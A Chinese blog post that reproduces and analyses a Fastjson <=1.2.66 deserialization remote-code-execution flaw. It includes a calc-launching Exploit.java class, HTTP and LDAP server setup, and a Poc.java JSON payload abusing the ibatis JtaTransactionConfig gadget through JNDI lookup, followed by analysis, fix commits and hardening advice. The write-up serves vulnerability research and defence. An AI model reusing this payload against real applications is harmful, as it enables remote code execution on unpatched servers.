从2018年2月的第一篇文章开始到现在已经发布了946篇原创文章,时隔2年零2个月,博客粉丝达到了3000人,很是感谢大家的支持以及对笔者博客的喜爱,后续笔者也将用心撰写更加有质量的博客与广大IT领域的人员进行深度交流,为了答谢广大的粉丝,本次奉上一篇最近写的Fastjson反序列化漏洞文章,以此作为致谢~
影响范围Fastjson<=1.2.66
漏洞类型反序列化导致RCE
利用条件开启autotype
漏洞概述Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。
Fastjson 1.2.66 反序列化是对Fastjson 1.2.24 反序列化黑名单的绕过~
漏洞复现环境搭建
使用IDEA创建一个Meavn项目,之后添加以下依赖:
com.alibaba
fastjson
1.2.66
org.apache.ibatis
ibatis-sqlmap
2.3.4.726
javax
javaee-api
8.0.1
漏洞利用
这里使用LDAP的利用方式进行漏洞的利用演示,RMI的方式也是类似的,且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式:jdk版本:JDK 11.0.1、8u191、7u201、6u211之前,笔者这里采用JDK 1.8.0_181
编译Exploit.java
Exploit.java代码如下:
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译Exploit.java文件:
搭建HTTP服务
使用Python搭建简易SimpleHTTPServer服务:
python -m SimpleHTTPServer 4444
搭建LDAP服务
使用marshalsec来启动一个LDAP服务:
执行漏洞POC
Poc.java代码如下所示:
package com.FastJson1242;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Poc {
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1099/Exploit\"}}";
JSONObject.parseObject(payload);
}
}
之后运行该程序,成功执行命令,弹出计算器:
漏洞分析
漏洞POC1分析
首先,查看一下com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类的实现,其中setProperties逻辑代码如下所示:
很明显这里直接调用了initctx.lookup,明显的JNDI注入,那么我们只需要看婴喜爱utxName参数的传递过程,确定其是否可控,可以发现此处的utxName源自props,说明反序列化时prop必须存在且属性UserTransaction存在,所以只需要再@type反序列化Properties,为其写入userTransaction和rmi键值对即可,下面在此处下断点进行简易调试分析:
之后的就是lookup——》setAutoCommit———》Connet的流程了~
漏洞修复
Fastjson 1.2.67对此版本进行了修复,增加了黑名单:
第一次增加:
https://github.com/alibaba/fastjson/commit/78881ef57802eba763745882e0f62b3d9fe65407
第二次增加:
https://github.com/alibaba/fastjson/commit/334b34bd5821d9afa3349748fbc1b551cc48e56a
Fastjson安全论
Fastjson 1.2.24应默认开启AutoType且运行@type指定反序列化的类的特性使得Fastjson 1.2.24存在反序列化漏洞
Fastjson 1.2.24~1.2.45 在Fastjson 1.2.25之后增加的CheckAutoType中进行攻防对抗,一方面是黑名单,一方面是LoadClass
Fastjson 1.2.47 出现了新的利用方式,无需开启AutoType即可利用,反而开启AutoType无法利用,它通过com.java.long来将恶意类转存至mapping中,之后再次反序列化时从mapping中取出恶意类来绕过黑名单的检测,后续通过cache来实现修复
Fastjson 1.2.62开始又对黑名单进行了一系列的绕过,官方也通过有原来的明文显示黑名单到hash,在到十进制、再到十六进制等等方式来防范安全研究人员对其进行研究分析,不过也有人在GitHub中公开了很多关于一些常见的类库的Hash值
关于Fastjson的使用,给出以下建议:
1、无需用到AutoType者,建议关闭
2、关于第三方类库的依赖加载时,只需加载需要的即可(Fastjson后续有很多POC都是基于JNDI注入,不过很多都是来自第三方依赖)
3、尽可能升级JDK版本,目前基于LDAP与RMI的利用方式中,对JDK的限制总体来说还是较大的~
谢谢各位粉丝的关注与阅读,非常感谢大家的支持,谢谢~
FLy_鹏程万里
博客专家
原创文章 948获赞 1061访问量 183万+
关注
他的留言板
展开阅读全文
作者:FLy_鹏程万里